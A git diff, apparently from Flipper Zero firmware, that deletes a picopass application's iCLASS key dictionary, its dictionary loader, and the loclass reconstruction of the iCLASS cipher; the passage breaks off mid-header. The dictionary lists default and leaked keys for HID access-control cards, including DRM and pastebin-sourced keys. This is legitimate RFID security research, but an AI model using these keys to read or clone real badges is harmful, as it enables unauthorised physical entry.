/dev/null @@ -1,47 +0,0 @@ - -## From https://github.com/RfidResearchGroup/proxmark3/blob/master/client/dictionaries/iclass_default_keys.dic - -# AA1 -AEA684A6DAB23278 -# key1/Kc from PicoPass 2k documentation -7665544332211000 -# SAGEM -0123456789ABCDEF -# from loclass demo file. -5b7c62c491c11b39 -# Kd from PicoPass 2k documentation -F0E1D2C3B4A59687 -# PicoPass Default Exchange Key -5CBCF1DA45D5FB4F -# From HID multiclassSE reader -31ad7ebd2f282168 -# From pastebin: https://pastebin.com/uHqpjiuU -6EFD46EFCBB3C875 -E033CA419AEE43F9 - -# iCopy-x DRM keys -# iCL tags -2020666666668888 -# iCS tags reversed from the SOs -6666202066668888 - -# default picopass KD / Page 0 / Book 1 -FDCB5A52EA8F3090 -237FF9079863DF44 -5ADC25FB27181D32 -83B881F2936B2E49 -43644E61EE866BA5 -897034143D016080 -82D17B44C0122963 -4895CA7DE65E2025 -DADAD4C57BE271B7 -E41E9EDEF5719ABF -293D275EC3AF9C7F -C3C169251B8A70FB -F41DAF58B20C8B91 -28877A609EC0DD2B -66584C91EE80D5E5 -C1B74D7478053AE2 - -# default iCLASS RFIDeas -6B65797374726B72 diff --git a/applications/external/picopass/helpers/iclass_elite_dict.c b/applications/external/picopass/helpers/iclass_elite_dict.c deleted file mode 100644 index 5f0f41f85..000000000 --- a/applications/external/picopass/helpers/iclass_elite_dict.c +++ /dev/null @@ -1,164 +0,0 @@ -#include "iclass_elite_dict.h" - -#include -#include - -#define ICLASS_ELITE_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_elite_dict.txt") -#define ICLASS_STANDARD_DICT_FLIPPER_NAME APP_ASSETS_PATH("iclass_standard_dict.txt") -#define ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt") - -#define TAG "IclassEliteDict" - -#define ICLASS_ELITE_KEY_LINE_LEN (17) -#define ICLASS_ELITE_KEY_LEN (8) - -struct IclassEliteDict { - Stream* stream; - uint32_t total_keys; -}; - -bool iclass_elite_dict_check_presence(IclassEliteDictType dict_type) { - Storage* storage = furi_record_open(RECORD_STORAGE); - - bool dict_present = false; - if(dict_type == IclassEliteDictTypeFlipper) { - dict_present = - (storage_common_stat(storage, ICLASS_ELITE_DICT_FLIPPER_NAME, NULL) == FSE_OK); - } else if(dict_type == IclassEliteDictTypeUser) { - dict_present = (storage_common_stat(storage, ICLASS_ELITE_DICT_USER_NAME, NULL) == FSE_OK); - } else if(dict_type == IclassStandardDictTypeFlipper) { - dict_present = - (storage_common_stat(storage, ICLASS_STANDARD_DICT_FLIPPER_NAME, NULL) == FSE_OK); - } - - furi_record_close(RECORD_STORAGE); - - return dict_present; -} - -IclassEliteDict* iclass_elite_dict_alloc(IclassEliteDictType dict_type) { - IclassEliteDict* dict = malloc(sizeof(IclassEliteDict)); - Storage* storage = furi_record_open(RECORD_STORAGE); - dict->stream = buffered_file_stream_alloc(storage); - FuriString* next_line = furi_string_alloc(); - - bool dict_loaded = false; - do { - if(dict_type == IclassEliteDictTypeFlipper) { - if(!buffered_file_stream_open( - dict->stream, ICLASS_ELITE_DICT_FLIPPER_NAME, FSAM_READ, FSOM_OPEN_EXISTING)) { - buffered_file_stream_close(dict->stream); - break; - } - } else if(dict_type == IclassEliteDictTypeUser) { - if(!buffered_file_stream_open( - dict->stream, ICLASS_ELITE_DICT_USER_NAME, FSAM_READ_WRITE, FSOM_OPEN_ALWAYS)) { - buffered_file_stream_close(dict->stream); - break; - } - } else if(dict_type == IclassStandardDictTypeFlipper) { - if(!buffered_file_stream_open( - dict->stream, - ICLASS_STANDARD_DICT_FLIPPER_NAME, - FSAM_READ, - FSOM_OPEN_EXISTING)) { - buffered_file_stream_close(dict->stream); - break; - } - } - - // Read total amount of keys - while(true) { //-V547 - if(!stream_read_line(dict->stream, next_line)) break; - if(furi_string_get_char(next_line, 0) == '#') continue; - if(furi_string_size(next_line) != ICLASS_ELITE_KEY_LINE_LEN) continue; - dict->total_keys++; - } - furi_string_reset(next_line); - stream_rewind(dict->stream); - - dict_loaded = true; - FURI_LOG_I(TAG, "Loaded dictionary with %lu keys", dict->total_keys); - } while(false); - - if(!dict_loaded) { //-V547 - buffered_file_stream_close(dict->stream); - free(dict); - dict = NULL; - } - - furi_record_close(RECORD_STORAGE); - furi_string_free(next_line); - - return dict; -} - -void iclass_elite_dict_free(IclassEliteDict* dict) { - furi_assert(dict); - furi_assert(dict->stream); - - buffered_file_stream_close(dict->stream); - stream_free(dict->stream); - free(dict); -} - -uint32_t iclass_elite_dict_get_total_keys(IclassEliteDict* dict) { - furi_assert(dict); - - return dict->total_keys; -} - -bool iclass_elite_dict_get_next_key(IclassEliteDict* dict, uint8_t* key) { - furi_assert(dict); - furi_assert(dict->stream); - - uint8_t key_byte_tmp = 0; - FuriString* next_line = furi_string_alloc(); - - bool key_read = false; - *key = 0ULL; - while(!key_read) { - if(!stream_read_line(dict->stream, next_line)) break; - if(furi_string_get_char(next_line, 0) == '#') continue; - if(furi_string_size(next_line) != ICLASS_ELITE_KEY_LINE_LEN) continue; - for(uint8_t i = 0; i < ICLASS_ELITE_KEY_LEN * 2; i += 2) { - args_char_to_hex( - furi_string_get_char(next_line, i), - furi_string_get_char(next_line, i + 1), - &key_byte_tmp); - key[i / 2] = key_byte_tmp; - } - key_read = true; - } - - furi_string_free(next_line); - return key_read; -} - -bool iclass_elite_dict_rewind(IclassEliteDict* dict) { - furi_assert(dict); - furi_assert(dict->stream); - - return stream_rewind(dict->stream); -} - -bool iclass_elite_dict_add_key(IclassEliteDict* dict, uint8_t* key) { - furi_assert(dict); - furi_assert(dict->stream); - - FuriString* key_str = furi_string_alloc(); - for(size_t i = 0; i < 6; i++) { - furi_string_cat_printf(key_str, "%02X", key[i]); - } - furi_string_cat_printf(key_str, "\n"); - - bool key_added = false; - do { - if(!stream_seek(dict->stream, 0, StreamOffsetFromEnd)) break; - if(!stream_insert_string(dict->stream, key_str)) break; - key_added = true; - } while(false); - - furi_string_free(key_str); - return key_added; -} diff --git a/applications/external/picopass/helpers/iclass_elite_dict.h b/applications/external/picopass/helpers/iclass_elite_dict.h deleted file mode 100644 index 150cd1b76..000000000 --- a/applications/external/picopass/helpers/iclass_elite_dict.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include - -typedef enum { - IclassEliteDictTypeUser, - IclassEliteDictTypeFlipper, - IclassStandardDictTypeFlipper, -} IclassEliteDictType; - -typedef struct IclassEliteDict IclassEliteDict; - -bool iclass_elite_dict_check_presence(IclassEliteDictType dict_type); - -IclassEliteDict* iclass_elite_dict_alloc(IclassEliteDictType dict_type); - -void iclass_elite_dict_free(IclassEliteDict* dict); - -uint32_t iclass_elite_dict_get_total_keys(IclassEliteDict* dict); - -bool iclass_elite_dict_get_next_key(IclassEliteDict* dict, uint8_t* key); - -bool iclass_elite_dict_rewind(IclassEliteDict* dict); - -bool iclass_elite_dict_add_key(IclassEliteDict* dict, uint8_t* key); diff --git a/applications/external/picopass/lib/loclass/optimized_cipher.c b/applications/external/picopass/lib/loclass/optimized_cipher.c deleted file mode 100644 index 01d48817d..000000000 --- a/applications/external/picopass/lib/loclass/optimized_cipher.c +++ /dev/null @@ -1,314 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- -/* - This file contains an optimized version of the MAC-calculation algorithm. Some measurements on - a std laptop showed it runs in about 1/3 of the time: - - Std: 0.428962 - Opt: 0.151609 - - Additionally, it is self-reliant, not requiring e.g. bitstreams from the cipherutils, thus can - be easily dropped into a code base. - - The optimizations have been performed in the following steps: - * Parameters passed by reference instead of by value. - * Iteration instead of recursion, un-nesting recursive loops into for-loops. - * Handling of bytes instead of individual bits, for less shuffling and masking - * Less creation of "objects", structs, and instead reuse of alloc:ed memory - * Inlining some functions via #define:s - - As a consequence, this implementation is less generic. Also, I haven't bothered documenting this. - For a thorough documentation, check out the MAC-calculation within cipher.c instead. - - -- MHS 2015 -**/ - -/** - - The runtime of opt_doTagMAC_2() with the MHS optimized version was 403 microseconds on Proxmark3. - This was still to slow for some newer readers which didn't want to wait that long. - - Further optimizations to speedup the MAC calculations: - * Optimized opt_Tt logic - * Look up table for opt_select - * Removing many unnecessary bit maskings (& 0x1) - * updating state in place instead of alternating use of a second state structure - * remove the necessity to reverse bits of input and output bytes - - opt_doTagMAC_2() now completes in 270 microseconds. - - -- piwi 2019 -**/ - -/** - add the possibility to do iCLASS on device only - -- iceman 2020 -**/ - -#include "optimized_cipher.h" -#include "optimized_elite.h" -#include "optimized_ikeys.h" -#include "optimized_cipherutils.h" - -static const uint8_t loclass_opt_select_LUT[256] = { - 00, 03, 02, 01, 02, 03, 00, 01, 04, 07, 07, 04, 06, 07, 05, 04, 01, 02, 03, 00, 02, 03, 00, 01, - 05, 06, 06, 05, 06, 07, 05, 04, 06, 05, 04, 07, 04, 05, 06, 07, 06, 05, 05, 06, 04, 05, 07, 06, - 07, 04, 05, 06, 04, 05, 06, 07, 07, 04, 04, 07, 04, 05, 07, 06, 06, 05, 04, 07, 04, 05, 06, 07, - 02, 01, 01, 02, 00, 01, 03, 02, 03, 00, 01, 02, 00, 01, 02, 03, 07, 04, 04, 07, 04, 05, 07, 06, - 00, 03, 02, 01, 02, 03, 00, 01, 00, 03, 03, 00, 02, 03, 01, 00, 05, 06, 07, 04, 06, 07, 04, 05, - 05, 06, 06, 05, 06, 07, 05, 04, 02, 01, 00, 03, 00, 01, 02, 03, 06, 05, 05, 06, 04, 05, 07, 06, - 03, 00, 01, 02, 00, 01, 02, 03, 07, 04, 04, 07, 04, 05, 07, 06, 02, 01, 00, 03, 00, 01, 02, 03, - 02, 01, 01, 02, 00, 01, 03, 02, 03, 00, 01, 02, 00, 01, 02, 03, 03, 00, 00, 03, 00, 01, 03, 02, - 04, 07, 06, 05, 06, 07, 04, 05, 00, 03, 03, 00, 02, 03, 01, 00, 01, 02, 03, 00, 02, 03, 00, 01, - 05, 06, 06, 05, 06, 07, 05, 04, 04, 07, 06, 05, 06, 07, 04, 05, 04, 07, 07, 04, 06, 07, 05, 04, - 01, 02, 03, 00, 02, 03, 00, 01, 01, 02, 02, 01, 02, 03, 01, 00}; - -/********************** the table above has been generated with this code: ******** -#include "util.h" -static void init_opt_select_LUT(void) { - for (int r = 0; r < 256; r++) { - uint8_t r_ls2 = r << 2; - uint8_t r_and_ls2 = r & r_ls2; - uint8_t r_or_ls2 = r | r_ls2; - uint8_t z0 = (r_and_ls2 >> 5) ^ ((r & ~r_ls2) >> 4) ^ ( r_or_ls2 >> 3); - uint8_t z1 = (r_or_ls2 >> 6) ^ ( r_or_ls2 >> 1) ^ (r >> 5) ^ r; - uint8_t z2 = ((r & ~r_ls2) >> 4) ^ (r_and_ls2 >> 3) ^ r; - loclass_opt_select_LUT[r] = (z0 & 4) | (z1 & 2) | (z2 & 1); - } - print_result("", loclass_opt_select_LUT, 256); -} -***********************************************************************************/ - -#define loclass_opt__select(x, y, r) \ - (4 & ((((r) & ((r) << 2)) >> 5) ^ (((r) & ~((r) << 2)) >> 4) ^ (((r) | (r) << 2) >> 3))) | \ - (2 & ((((r) | (r) << 2) >> 6) ^ (((r) | (r) << 2) >> 1) ^ ((r) >> 5) ^ (r) ^ (((x) ^ (y)) << 1))) | \ - (1 & ((((r) & ~((r) << 2)) >> 4) ^ (((r) & ((r) << 2)) >> 3) ^ (r) ^ (x))) - -static void loclass_opt_successor(const uint8_t* k, LoclassState_t* s, uint8_t y) { - uint16_t Tt = s->t & 0xc533; - Tt = Tt ^ (Tt >> 1); - Tt = Tt ^ (Tt >> 4); - Tt = Tt ^ (Tt >> 10); - Tt = Tt ^ (Tt >> 8); - - s->t = (s->t >> 1); - s->t |= (Tt ^ (s->r >> 7) ^ (s->r >> 3)) << 15; - - uint8_t opt_B = s->b; - opt_B ^= s->b >> 6; - opt_B ^= s->b >> 5; - opt_B ^= s->b >> 4; - - s->b = s->b >> 1; - s->b |= (opt_B ^ s->r) << 7; - - uint8_t opt_select = loclass_opt_select_LUT[s->r] & 0x04; - opt_select |= (loclass_opt_select_LUT[s->r] ^ ((Tt ^ y) << 1)) & 0x02; - opt_select |= (loclass_opt_select_LUT[s->r] ^ Tt) & 0x01; - - uint8_t r = s->r; - s->r = (k[opt_select] ^ s->b) + s->l; - s->l = s->r + r; -} - -static void loclass_opt_suc( - const uint8_t* k, - LoclassState_t* s, - const uint8_t* in, - uint8_t length, - bool add32Zeroes) { - for(int i = 0; i < length; i++) { - uint8_t head = in[i]; - for(int j = 0; j < 8; j++) { - loclass_opt_successor(k, s, head); - head >>= 1; - } - } - //For tag MAC, an additional 32 zeroes - if(add32Zeroes) { - for(int i = 0; i < 16; i++) { - loclass_opt_successor(k, s, 0); - loclass_opt_successor(k, s, 0); - } - } -} - -static void loclass_opt_output(const uint8_t* k, LoclassState_t* s, uint8_t* buffer) { - for(uint8_t times = 0; times < 4; times++) { - uint8_t bout = 0; - bout |= (s->r & 0x4) >> 2; - loclass_opt_successor(k, s, 0); - bout |= (s->r & 0x4) >> 1; - loclass_opt_successor(k, s, 0); - bout |= (s->r & 0x4); - loclass_opt_successor(k, s, 0); - bout |= (s->r & 0x4) << 1; - loclass_opt_successor(k, s, 0); - bout |= (s->r & 0x4) << 2; - loclass_opt_successor(k, s, 0); - bout |= (s->r & 0x4) << 3; - loclass_opt_successor(k, s, 0); - bout |= (s->r & 0x4) << 4; - loclass_opt_successor(k, s, 0); - bout |= (s->r & 0x4) << 5; - loclass_opt_successor(k, s, 0); - buffer[times] = bout; - } -} - -static void loclass_opt_MAC(uint8_t* k, uint8_t* input, uint8_t* out) { - LoclassState_t _init = { - ((k[0] ^ 0x4c) + 0xEC) & 0xFF, // l - ((k[0] ^ 0x4c) + 0x21) & 0xFF, // r - 0x4c, // b - 0xE012 // t - }; - - loclass_opt_suc(k, &_init, input, 12, false); - loclass_opt_output(k, &_init, out); -} - -static void loclass_opt_MAC_N(uint8_t* k, uint8_t* input, uint8_t in_size, uint8_t* out) { - LoclassState_t _init = { - ((k[0] ^ 0x4c) + 0xEC) & 0xFF, // l - ((k[0] ^ 0x4c) + 0x21) & 0xFF, // r - 0x4c, // b - 0xE012 // t - }; - - loclass_opt_suc(k, &_init, input, in_size, false); - loclass_opt_output(k, &_init, out); -} - -void loclass_opt_doReaderMAC(uint8_t* cc_nr_p, uint8_t* div_key_p, uint8_t mac[4]) { - uint8_t dest[] = {0, 0, 0, 0, 0, 0, 0, 0}; - loclass_opt_MAC(div_key_p, cc_nr_p, dest); - memcpy(mac, dest, 4); -} - -void loclass_opt_doReaderMAC_2( - LoclassState_t _init, - uint8_t* nr, - uint8_t mac[4], - const uint8_t* div_key_p) { - loclass_opt_suc(div_key_p, &_init, nr, 4, false); - loclass_opt_output(div_key_p, &_init, mac); -} - -void loclass_doMAC_N(uint8_t* in_p, uint8_t in_size, uint8_t* div_key_p, uint8_t mac[4]) { - uint8_t dest[] = {0, 0, 0, 0, 0, 0, 0, 0}; - loclass_opt_MAC_N(div_key_p, in_p, in_size, dest); - memcpy(mac, dest, 4); -} - -void loclass_opt_doTagMAC(uint8_t* cc_p, const uint8_t* div_key_p, uint8_t mac[4]) { - LoclassState_t _init = { - ((div_key_p[0] ^ 0x4c) + 0xEC) & 0xFF, // l - ((div_key_p[0] ^ 0x4c) + 0x21) & 0xFF, // r - 0x4c, // b - 0xE012 // t - }; - loclass_opt_suc(div_key_p, &_init, cc_p, 12, true); - loclass_opt_output(div_key_p, &_init, mac); -} - -/** - * The tag MAC can be divided (both can, but no point in dividing the reader mac) into - * two functions, since the first 8 bytes are known, we can pre-calculate the state - * reached after feeding CC to the cipher. - * @param cc_p - * @param div_key_p - * @return the cipher state - */ -LoclassState_t loclass_opt_doTagMAC_1(uint8_t* cc_p, const uint8_t* div_key_p) { - LoclassState_t _init = { - ((div_key_p[0] ^ 0x4c) + 0xEC) & 0xFF, // l - ((div_key_p[0] ^ 0x4c) + 0x21) & 0xFF, // r - 0x4c, // b - 0xE012 // t - }; - loclass_opt_suc(div_key_p, &_init, cc_p, 8, false); - return _init; -} - -/** - * The second part of the tag MAC calculation, since the CC is already calculated into the state, - * this function is fed only the NR, and internally feeds the remaining 32 0-bits to generate the tag - * MAC response. - * @param _init - precalculated cipher state - * @param nr - the reader challenge - * @param mac - where to store the MAC - * @param div_key_p - the key to use - */ -void loclass_opt_doTagMAC_2( - LoclassState_t _init, - uint8_t* nr, - uint8_t mac[4], - const uint8_t* div_key_p) { - loclass_opt_suc(div_key_p, &_init, nr, 4, true); - loclass_opt_output(div_key_p, &_init, mac); -} - -void loclass_opt_doBothMAC_2( - LoclassState_t _init, - uint8_t* nr, - uint8_t rmac[4], - uint8_t tmac[4], - const uint8_t* div_key_p) { - loclass_opt_suc(div_key_p, &_init, nr, 4, false); - // Save internal state for reuse before outputting - LoclassState_t nr_state = _init; - loclass_opt_output(div_key_p, &_init, rmac); - // Feed the 32 0 bits for the tag mac - loclass_opt_suc(div_key_p, &nr_state, NULL, 0, true); - loclass_opt_output(div_key_p, &nr_state, tmac); -} - -void loclass_iclass_calc_div_key(uint8_t* csn, const uint8_t* key, uint8_t* div_key, bool elite) { - if(elite) { - uint8_t keytable[128] = {0}; - uint8_t key_index[8] = {0}; - uint8_t key_sel[8] = {0}; - uint8_t key_sel_p[8] = {0}; - loclass_hash2(key, keytable); - loclass_hash1(csn, key_index); - for(uint8_t i = 0; i < 8; i++) key_sel[i] = keytable[key_index[i]]; - - //Permute from iclass format to standard format - loclass_permutekey_rev(key_sel, key_sel_p); - loclass_diversifyKey(csn, key_sel_p, div_key); - } else { - loclass_diversifyKey(csn, key, div_key); - } -} diff --git a/applications/external/picopass/lib/loclass/optimized_cipher.h b/applications/external/picopass/lib/loclass/optimized_cipher.h deleted file mode 100644 index c96c97d8a..000000000 --- a/applications/external/picopass/lib/loclass/optimized_cipher.h +++ /dev/null @@ -1,113 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// More recently from https://github.com/RfidResearchGroup/proxmark3 -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- -#ifndef OPTIMIZED_CIPHER_H -#define OPTIMIZED_CIPHER_H -#include -#include -#include -#include - -/** -* Definition 1 (Cipher state). A cipher state of iClass s is an element of F 40/2 -* consisting of the following four components: -* 1. the left register l = (l 0 . . . l 7 ) ∈ F 8/2 ; -* 2. the right register r = (r 0 . . . r 7 ) ∈ F 8/2 ; -* 3. the top register t = (t 0 . . . t 15 ) ∈ F 16/2 . -* 4. the bottom register b = (b 0 . . . b 7 ) ∈ F 8/2 . -**/ -typedef struct { - uint8_t l; - uint8_t r; - uint8_t b; - uint16_t t; -} LoclassState_t; - -/** The reader MAC is MAC(key, CC * NR ) - **/ -void loclass_opt_doReaderMAC(uint8_t* cc_nr_p, uint8_t* div_key_p, uint8_t mac[4]); - -void loclass_opt_doReaderMAC_2( - LoclassState_t _init, - uint8_t* nr, - uint8_t mac[4], - const uint8_t* div_key_p); - -/** - * The tag MAC is MAC(key, CC * NR * 32x0)) - */ -void loclass_opt_doTagMAC(uint8_t* cc_p, const uint8_t* div_key_p, uint8_t mac[4]); - -/** - * The tag MAC can be divided (both can, but no point in dividing the reader mac) into - * two functions, since the first 8 bytes are known, we can pre-calculate the state - * reached after feeding CC to the cipher. - * @param cc_p - * @param div_key_p - * @return the cipher state - */ -LoclassState_t loclass_opt_doTagMAC_1(uint8_t* cc_p, const uint8_t* div_key_p); -/** - * The second part of the tag MAC calculation, since the CC is already calculated into the state, - * this function is fed only the NR, and internally feeds the remaining 32 0-bits to generate the tag - * MAC response. - * @param _init - precalculated cipher state - * @param nr - the reader challenge - * @param mac - where to store the MAC - * @param div_key_p - the key to use - */ -void loclass_opt_doTagMAC_2( - LoclassState_t _init, - uint8_t* nr, - uint8_t mac[4], - const uint8_t* div_key_p); - -/** - * The same as loclass_opt_doTagMAC_2, but calculates both the reader and tag MACs at the same time - * @param _init - precalculated cipher state - * @param nr - the reader challenge - * @param rmac - where to store the reader MAC - * @param tmac - where to store the tag MAC - * @param div_key_p - the key to use - */ -void loclass_opt_doBothMAC_2( - LoclassState_t _init, - uint8_t* nr, - uint8_t rmac[4], - uint8_t tmac[4], - const uint8_t* div_key_p); - -void loclass_doMAC_N(uint8_t* in_p, uint8_t in_size, uint8_t* div_key_p, uint8_t mac[4]); -void loclass_iclass_calc_div_key(uint8_t* csn, const uint8_t* key, uint8_t* div_key, bool elite); -#endif // OPTIMIZED_CIPHER_H diff --git a/applications/external/picopass/lib/loclass/optimized_cipherutils.c b/applications/external/picopass/lib/loclass/optimized_cipherutils.c deleted file mode 100644 index e6a87c4a7..000000000 --- a/applications/external/picopass/lib/loclass/optimized_cipherutils.c +++ /dev/null @@ -1,136 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- -#include "optimized_cipherutils.h" -#include - -/** - * - * @brief Return and remove the first bit (x0) in the stream : - * @param stream - * @return - */ -bool loclass_headBit(LoclassBitstreamIn_t* stream) { - int bytepos = stream->position >> 3; // divide by 8 - int bitpos = (stream->position++) & 7; // mask out 00000111 - return (*(stream->buffer + bytepos) >> (7 - bitpos)) & 1; -} -/** - * @brief Return and remove the last bit (xn) in the stream: - * @param stream - * @return - */ -bool loclass_tailBit(LoclassBitstreamIn_t* stream) { - int bitpos = stream->numbits - 1 - (stream->position++); - - int bytepos = bitpos >> 3; - bitpos &= 7; - return (*(stream->buffer + bytepos) >> (7 - bitpos)) & 1; -} -/** - * @brief Pushes bit onto the stream - * @param stream - * @param bit - */ -void loclass_pushBit(LoclassBitstreamOut_t* stream, bool bit) { - int bytepos = stream->position >> 3; // divide by 8 - int bitpos = stream->position & 7; - *(stream->buffer + bytepos) |= (bit) << (7 - bitpos); - stream->position++; - stream->numbits++; -} - -/** - * @brief Pushes the lower six bits onto the stream - * as b0 b1 b2 b3 b4 b5 b6 - * @param stream - * @param bits - */ -void loclass_push6bits(LoclassBitstreamOut_t* stream, uint8_t bits) { - loclass_pushBit(stream, bits & 0x20); - loclass_pushBit(stream, bits & 0x10); - loclass_pushBit(stream, bits & 0x08); - loclass_pushBit(stream, bits & 0x04); - loclass_pushBit(stream, bits & 0x02); - loclass_pushBit(stream, bits & 0x01); -} - -/** - * @brief loclass_bitsLeft - * @param stream - * @return number of bits left in stream - */ -int loclass_bitsLeft(LoclassBitstreamIn_t* stream) { - return stream->numbits - stream->position; -} -/** - * @brief numBits - * @param stream - * @return Number of bits stored in stream - */ -void loclass_x_num_to_bytes(uint64_t n, size_t len, uint8_t* dest) { - while(len--) { - dest[len] = (uint8_t)n; - n >>= 8; - } -} - -uint64_t loclass_x_bytes_to_num(uint8_t* src, size_t len) { - uint64_t num = 0; - while(len--) { - num = (num << 8) | (*src); - src++; - } - return num; -} - -uint8_t loclass_reversebytes(uint8_t b) { - b = (b & 0xF0) >> 4 | (b & 0x0F) << 4; - b = (b & 0xCC) >> 2 | (b & 0x33) << 2; - b = (b & 0xAA) >> 1 | (b & 0x55) << 1; - return b; -} - -void loclass_reverse_arraybytes(uint8_t* arr, size_t len) { - uint8_t i; - for(i = 0; i < len; i++) { - arr[i] = loclass_reversebytes(arr[i]); - } -} - -void loclass_reverse_arraycopy(uint8_t* arr, uint8_t* dest, size_t len) { - uint8_t i; - for(i = 0; i < len; i++) { - dest[i] = loclass_reversebytes(arr[i]); - } -} diff --git a/applications/external/picopass/lib/loclass/optimized_cipherutils.h b/applications/external/picopass/lib/loclass/optimized_cipherutils.h deleted file mode 100644 index 05b682079..000000000 --- a/applications/external/picopass/lib/loclass/optimized_cipherutils.h +++ /dev/null @@ -1,64 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// More recently from https://github.com/RfidResearchGroup/proxmark3 -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- -#ifndef CIPHERUTILS_H -#define CIPHERUTILS_H -#include -#include -#include - -typedef struct { - uint8_t* buffer; - uint8_t numbits; - uint8_t position; -} LoclassBitstreamIn_t; - -typedef struct { - uint8_t* buffer; - uint8_t numbits; - uint8_t position; -} LoclassBitstreamOut_t; - -bool loclass_headBit(LoclassBitstreamIn_t* stream); -bool loclass_tailBit(LoclassBitstreamIn_t* stream); -void loclass_pushBit(LoclassBitstreamOut_t* stream, bool bit); -int loclass_bitsLeft(LoclassBitstreamIn_t* stream); - -void loclass_push6bits(LoclassBitstreamOut_t* stream, uint8_t bits); -void loclass_x_num_to_bytes(uint64_t n, size_t len, uint8_t* dest); -uint64_t 